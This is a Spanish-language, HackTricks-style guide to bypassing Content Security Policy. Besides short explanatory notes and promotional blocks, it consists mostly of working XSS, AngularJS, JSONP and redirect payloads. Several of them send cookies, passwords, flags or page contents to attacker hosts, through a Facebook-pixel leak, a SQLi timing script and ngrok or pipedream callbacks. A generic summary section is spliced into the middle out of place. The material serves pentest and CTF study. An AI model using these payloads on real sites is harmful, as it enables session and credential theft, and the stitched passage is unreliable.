.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Evasión de la Política de Seguridad de Contenido (CSP)
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Qué es CSP
La Política de Seguridad de Contenido o CSP es una tecnología integrada en el navegador que ayuda a proteger contra ataques como el scripting entre sitios (XSS). Enumera y describe rutas y fuentes, de las cuales el navegador puede cargar recursos de manera segura. Los recursos pueden incluir imágenes, marcos, javascript y más. Aquí hay un ejemplo de recursos que se permiten cargar y ejecutar desde el dominio local (self) y permitir funciones de ejecución de código en cadena como eval
, setTimeout
o setInterval:
La Política de Seguridad de Contenido se implementa a través de encabezados de respuesta o elementos meta de la página HTML. El navegador sigue la política recibida y bloquea activamente las violaciones a medida que se detectan.
Implementado a través del encabezado de respuesta:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
Implementado a través de la etiqueta meta:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Encabezados
Content-Security-Policy
Content-Security-Policy-Report-Only
Este no bloqueará nada, solo enviará informes (usar en ambiente Pre).
Definiendo recursos
CSP funciona restringiendo los orígenes desde donde se puede cargar contenido activo y pasivo. Además, puede restringir ciertos aspectos del contenido activo, como la ejecución de javascript en línea y el uso de eval()
.
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directivas
- script-src: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo URLs cargadas directamente en elementos, sino también cosas como manejadores de eventos de script en línea (onclick) y hojas de estilo XSLT que pueden desencadenar la ejecución de scripts.
- default-src: Esta directiva define la política para la obtención de recursos por defecto. Cuando las directivas de obtención están ausentes en el encabezado CSP, el navegador sigue esta directiva por defecto.
- Child-src: Esta directiva define los recursos permitidos para trabajadores web y contenidos de marcos incrustados.
- connect-src: Esta directiva restringe las URLs para cargar usando interfaces como fetch, websocket, XMLHttpRequest.
- frame-src: Esta directiva restringe las URLs para marcos que pueden ser llamados.
- frame-ancestors: Esta directiva especifica las fuentes que pueden incrustar la página actual. Esta directiva se aplica a
<frame>
,<iframe>
,<object>
,<embed>
, o<applet>
. Esta directiva no se puede usar en etiquetas y se aplica solo a recursos no HTML. - img-src: Define las fuentes permitidas para cargar imágenes en la página web.
- font-src: La directiva especifica fuentes válidas para fuentes cargadas usando
@font-face
. - manifest-src: Esta directiva define las fuentes permitidas de archivos de manifiesto de aplicaciones.
- media-src: Define las fuentes permitidas de donde se pueden cargar objetos multimedia.
- object-src: Define las fuentes permitidas para los elementos <object>, <embed> y <applet>.
- base-uri: Define las URLs permitidas que se pueden cargar usando un elemento.
- form-action: Esta directiva enumera los puntos finales válidos para el envío desde etiquetas.
- plugin-types: Define límites en los tipos de mime que una página puede invocar.
- upgrade-insecure-requests: Esta directiva instruye a los navegadores a reescribir esquemas de URL, cambiando HTTP por HTTPS. Esta directiva puede ser útil para sitios web con un gran número de URLs antiguas que necesitan ser reescritas.
- sandbox: La directiva sandbox habilita un entorno aislado para el recurso solicitado similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de popups, la prevención de la ejecución de plugins y scripts, y la aplicación de una política de mismo origen.
Fuentes
- *: Esto permite cualquier URL excepto esquemas
data:
,blob:
,filesystem:
. - self: Esta fuente define que la carga de recursos en la página está permitida desde el mismo dominio.
- data: Esta fuente permite la carga de recursos a través del esquema data (por ejemplo, imágenes codificadas en Base64).
- none: Esta directiva no permite la carga de nada desde ninguna fuente.
- unsafe-eval: Esto permite el uso de eval() y métodos similares para crear código a partir de cadenas de texto. No es una práctica segura incluir esta fuente en ninguna directiva. Por la misma razón, se denomina insegura.
- unsafe-hashes: Esto permite habilitar manejadores de eventos en línea específicos.
- unsafe-inline: Esto permite el uso de recursos en línea, como elementos en línea, URLs javascript:, manejadores de eventos en línea y elementos en línea. Nuevamente, esto no se recomienda por razones de seguridad.
- nonce: Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número utilizado una vez). El servidor debe generar un valor de nonce único cada vez que transmite una política.
- sha256-<hash>: Lista blanca de scripts con un hash sha256 específico.
- strict-dynamic: Permite al navegador cargar y ejecutar nuevas etiquetas JavaScript en el DOM desde cualquier fuente de script que previamente haya sido incluida en una lista blanca por un valor de "nonce" o "hash".
- host: Indica un host como example.com
Reglas de CSP Inseguras
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Carga útil funcional: "/><script>alert(1);</script>
self + 'unsafe-inline' a través de Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Carga útil funcional:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, debido a que un script permitido lo está creando, se permitirá la ejecución de la nueva etiqueta de script.
Comodín (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Carga útil funcional:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Falta de object-src y default-src
{% hint style="danger" %} Parece que esto ya no funciona {% endhint %}
Content-Security-Policy: script-src 'self' ;
Cargas útiles funcionales:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Carga de Archivos + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Si puedes subir un archivo JS, puedes eludir esta CSP:
Payload funcional:
"/>'><script src="/uploads/picture.png.js"></script>
Sin embargo, es muy probable que el servidor esté validando el archivo subido y solo permitirá subir tipos determinados de archivos.
Además, incluso si pudieras subir un código JS dentro de un archivo usando una extensión aceptada por el servidor (como: script.png), esto no será suficiente porque algunos servidores como el servidor Apache seleccionan el tipo MIME del archivo basado en la extensión y navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que Apache no conoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/***.
Desde aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una extensión mal interpretada, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está comprobando el formato correcto del archivo subido, crear un políglota (algunos ejemplos de políglotas aquí).
Puntos finales de terceros + ('unsafe-eval')
{% hint style="warning" %}
Para algunos de los siguientes payload ni siquiera se necesita unsafe-eval
.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Carga una versión vulnerable de angular y ejecuta JS arbitrario:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Cargas útiles usando Angular + una biblioteca con funciones que devuelven el objeto window
(consulta esta publicación):
{% hint style="info" %}
La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com
(o cualquier otro repositorio permitido de bibliotecas JS), ejecutar todas las funciones añadidas de cada biblioteca y verificar qué funciones de qué bibliotecas devuelven el objeto window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Abusando del código JS de Google reCAPTCHA
Según este writeup de CTF puedes abusar de https://www.google.com/recaptcha/ dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Endpoints de terceros + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Escenarios como este donde script-src
está configurado para self
y un dominio en particular que está en la lista blanca se pueden eludir utilizando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, payload funcional:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee contiene endpoints JSONP listos para usar para eludir la CSP de diferentes sitios web.
La misma vulnerabilidad ocurrirá si el endpoint de confianza contiene una Redirección Abierta porque si el endpoint inicial es de confianza, las redirecciones también lo son.
Abusos de Terceros
Como se describe en el siguiente post, hay muchos dominios de terceros, que podrían estar permitidos en algún lugar de la CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
Entidad | Dominio Permitido | Capacidades |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Ejec |
Amazon CloudFront | *.cloudfront.net | Exfil, Ejec |
Amazon AWS | *.amazonaws.com | Exfil, Ejec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Ejec |
Salesforce Heroku | *.herokuapp.com | Exfil, Ejec |
Google Firebase | *.firebaseapp.com | Exfil, Ejec |
Si encuentras alguno de los dominios permitidos en la CSP de tu objetivo, es probable que puedas eludir la CSP registrándote en el servicio de terceros y, o bien exfiltrar datos a ese servicio o ejecutar código.
Por ejemplo, si encuentras la siguiente CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
Bypass de la Política de Seguridad de Contenido (CSP)
Resumen
La Política de Seguridad de Contenido (CSP) es una característica de seguridad que ayuda a prevenir ataques como Cross-Site Scripting (XSS) y la inyección de datos. Sin embargo, puede ser burlada de varias maneras.
Técnicas de Bypass
Confianza en Dominios no Seguros
Si la CSP confía en scripts de dominios no seguros, un atacante podría aprovechar esto para cargar scripts maliciosos.
Uso Incorrecto de unsafe-inline
El uso de unsafe-inline
permite la ejecución de scripts inline, lo que puede ser explotado por un atacante si la CSP no está configurada correctamente.
Permisividad con eval()
La función eval()
es peligrosa porque ejecuta código JavaScript representado como texto. Si CSP permite eval()
, puede ser explotado.
Directivas de Reporte
Las directivas de reporte pueden ser utilizadas para detectar violaciones de la CSP, pero no previenen el ataque en sí.
Extensión de Protocolo
Los atacantes pueden utilizar extensiones de protocolo para eludir la CSP si las políticas no están bien definidas.
Herramientas
- CSP Evaluator: Herramienta en línea para comprobar la seguridad de las políticas CSP.
- CSP Scanner: Escáner que analiza las cabeceras CSP de un sitio web.
Conclusión
Es crucial implementar correctamente la CSP y mantenerla actualizada para protegerse contra los bypasses y otros vectores de ataque.
Content-Security-Policy: connect-src www.facebook.com;
Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con Google Analytics/Google Tag Manager. En este caso, sigue estos pasos generales:
- Crea una cuenta de Facebook Developer aquí.
- Crea una nueva aplicación "Facebook Login" y selecciona "Sitio web".
- Ve a "Configuración -> Básico" y obtén tu "App ID".
- En el sitio objetivo del cual quieres exfiltrar datos, puedes exfiltrar datos utilizando directamente el gadget del SDK de Facebook "fbq" a través de un "customEvent" y el payload de datos.
- Ve al "Event Manager" de tu aplicación y selecciona la aplicación que creaste (nota que el event manager podría encontrarse en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Selecciona la pestaña "Test Events" para ver los eventos enviados por "tu" sitio web.
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el pixel de seguimiento de Facebook apuntando a la app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado de esta manera:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Bypass a través de RPO (Sobrescritura de Ruta Relativa)
Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, existe otra técnica llamada Sobrescritura de Ruta Relativa (RPO) que se puede utilizar en algunos servidores.
Por ejemplo, si CSP permite la ruta https://example.com/scripts/react/
, se puede eludir de la siguiente manera:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
El navegador finalmente cargará https://example.com/scripts/angular/angular.js
.
Esto funciona porque para el navegador, estás cargando un archivo llamado ..%2fangular%2fangular.js
ubicado bajo https://example.com/scripts/react/
, lo cual está en conformidad con CSP.
Sin embargo, para ciertos servidores, al recibir la solicitud, la decodificarán, solicitando efectivamente https://example.com/scripts/react/../angular/angular.js
, lo cual es equivalente a https://example.com/scripts/angular/angular.js
.
Al explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, se pueden eludir las reglas de ruta.
La solución es no tratar %2f
como /
en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.
Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output
Ejecución de JS en iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
falta de base-uri
Si falta la directiva base-uri, puedes abusar de ella para realizar una inyección de marcado pendiente.
Además, si la página está cargando un script usando una ruta relativa (como <script src="/js/app.js">
) utilizando un Nonce, puedes abusar de la etiqueta base para hacer que cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, utiliza una URL httpS en la base.
<base href="https://www.attacker.com/">
Eventos AngularJS
Dependiendo de la política específica, el CSP bloqueará eventos de JavaScript. Sin embargo, AngularJS define sus propios eventos que se pueden utilizar en su lugar. Cuando se está dentro de un evento, AngularJS define un objeto especial $event
, que simplemente hace referencia al objeto de evento del navegador. Puedes usar este objeto para realizar un bypass de CSP. En Chrome, hay una propiedad especial en el objeto $event/event
llamada path
. Esta propiedad contiene un arreglo de objetos que provocan la ejecución del evento. La última propiedad es siempre el objeto window
, que podemos usar para realizar una fuga de sandbox. Al pasar este arreglo al filtro orderBy
, podemos enumerar el arreglo y usar el último elemento (el objeto window
) para ejecutar una función global, como alert()
. El siguiente código demuestra esto:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Encuentra otros bypasses de Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS y dominio en lista blanca
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Si la aplicación utiliza Angular JS y los scripts se cargan desde un dominio en la lista blanca, es posible eludir esta política de CSP llamando a funciones de callback y clases vulnerables. Para más detalles, visita este increíble repositorio de git.
Cargas útiles funcionales:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Evasión mediante Redirección
¿Qué sucede cuando CSP se encuentra con una redirección del lado del servidor? Si la redirección conduce a un origen diferente que no está permitido, aún fallará.
Sin embargo, según la descripción en CSP spec 4.2.2.3. Rutas y Redirecciones, si la redirección conduce a una ruta diferente, puede evadir las restricciones originales.
Aquí hay un ejemplo:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Si CSP está configurado para https://www.google.com/a/b/c/d
, dado que se considera la ruta, tanto los scripts /test
como /a/test
serán bloqueados por CSP.
Sin embargo, el último http://localhost:5555/301
será redirigido en el servidor a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Dado que es una redirección, no se considera la ruta, y el script puede cargarse, eludiendo así la restricción de la ruta.
Con esta redirección, incluso si la ruta está especificada completamente, aún será eludida.
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abierta y que no haya dominios que puedan ser explotados en las reglas de CSP.
Eludir CSP con marcado colgante
Lee cómo aquí.
'unsafe-inline'; img-src *; a través de XSS
default-src 'self' 'unsafe-inline'; img-src *;
`'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen de cualquier recurso.
Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
Desde: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
También podrías abusar de esta configuración para cargar código javascript insertado dentro de una imagen. Si, por ejemplo, la página permite cargar imágenes de Twitter. Podrías crear una imagen especial, subirla a Twitter y abusar de "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Con Service Workers
La función importScripts
de los Service Workers no está limitada por CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Inyección de Política
Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Si un parámetro enviado por ti está siendo pegado dentro de la declaración de la política, entonces podrías alterar la política de alguna manera que la haga inútil. Podrías permitir script 'unsafe-inline' con cualquiera de estos bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Debido a que esta directiva sobrescribirá las directivas script-src existentes.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: ;_
Edge descartará toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; vía XSS (iframe) - Ataque de tiempo
Observa la falta de la directiva 'unsafe-inline'
Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe>
. En esta ocasión vas a hacer que la víctima acceda a la página desde donde quieres extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página tarda en cargar, podrás extraer la información que necesitas.
Esta vez se va a extraer una bandera, cada vez que un carácter se adivine correctamente a través de SQLi, la respuesta tardará más tiempo debido a la función de sleep. Entonces, podrás extraer la bandera:
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
A través de Bookmarklets
Este ataque implicaría cierta ingeniería social donde el atacante convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clickeado, se ejecutaría en el contexto de la ventana web actual, burlando CSP y permitiendo robar información sensible como cookies o tokens.
Para más información consulta el informe original aquí.
Eludir CSP restringiendo CSP
En este writeup de CTF, se elude CSP inyectando dentro de un iframe permitido un CSP más restrictivo que prohibía cargar un archivo JS específico que, luego, a través de prototype pollution o dom clobbering permitía abusar de un script diferente para cargar un script arbitrario.
Puedes restringir un CSP de un Iframe con el atributo csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
En este writeup de CTF, fue posible mediante inyección de HTML restringir aún más una CSP de modo que un script que prevenía CSTI fue deshabilitado y por lo tanto la vulnerabilidad se volvió explotable.
La CSP puede hacerse más restrictiva utilizando etiquetas meta HTML y los scripts en línea pueden deshabilitarse eliminando la entrada que permite su nonce y habilitar scripts en línea específicos vía sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Exfiltración de JS con Content-Security-Policy-Report-Only
Si logras hacer que el servidor responda con el encabezado Content-Security-Policy-Report-Only
con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que quieres exfiltrar con <script>
y debido a que es muy probable que unsafe-inline
no esté permitido por el CSP, esto desencadenará un error de CSP y parte del script (que contiene la información sensible) será enviado al servidor desde Content-Security-Policy-Report-Only
.
Para ver un ejemplo revisa este writeup de CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Fuga de Información CSP + Iframe
Imagina una situación donde una página está redirigiendo a una página diferente con un secreto dependiendo del usuario. Por ejemplo, el usuario admin accediendo a redirectme.domain1.com es redirigido a adminsecret321.domain2.com y puedes provocar un XSS al admin.
Además, las páginas a las que se redirige no están permitidas por la política de seguridad, pero la página que redirige sí lo está.
Puedes revelar el dominio al que el admin es redirigido a través de:
- violación de CSP
- reglas de CSP.
La violación de CSP es una fuga instantánea. Todo lo que se necesita hacer es cargar un iframe apuntando a https://redirectme.domain1.com
y escuchar el evento securitypolicyviolation
que contiene la propiedad blockedURI
que contiene el dominio del URI bloqueado. Esto se debe a que https://redirectme.domain1.com
(permitido por CSP) redirige a https://adminsecret321.domain2.com
(bloqueado por CSP). Esto hace uso del comportamiento indefinido de cómo manejar iframes con CSP. Chrome y Firefox se comportan de manera diferente con respecto a esto.
Cuando conoces los caracteres que pueden componer el subdominio secreto, también puedes usar una búsqueda binaria y verificar cuándo el CSP bloqueó el recurso y cuándo no, creando diferentes dominios prohibidos en el CSP (en este caso el secreto puede estar en la forma doc-X-XXXX.secdrivencontent.dev)
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Truco de aquí.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma
Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!
Tecnologías Inseguras para Evadir CSP
Sobrecarga del buffer de respuesta de PHP
PHP es conocido por almacenar en búfer la respuesta a 4096 bytes por defecto. Por lo tanto, si PHP está mostrando una advertencia, al proporcionar suficientes datos dentro de las advertencias, la respuesta será enviada antes del encabezado CSP, provocando que el encabezado sea ignorado.
Entonces, la técnica consiste básicamente en llenar el buffer de respuesta con advertencias para que el encabezado CSP no se envíe.
Idea de este writeup.
Reescribir Página de Error
De este writeup parece que fue posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego refrescando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto opener
en el payload para acceder al DOM del punto final real a abusar. Para más información, consulta:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Además, wordpress tiene un punto final JSONP en /wp-json/wp/v2/users/1?_jsonp=data
que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese punto final para generar un ataque SOME contra WordPress e incrustarlo dentro de <script src=
/wp-json/wp/v2/users/1?_jsonp=some_attack>` nota que este script se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del punto final de callback vulnerable que bypassea el CSP para otorgar más privilegios a un usuario, instalar un nuevo plugin...
Para más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Si hay un CSP estricto que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
Location
Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Etiqueta meta
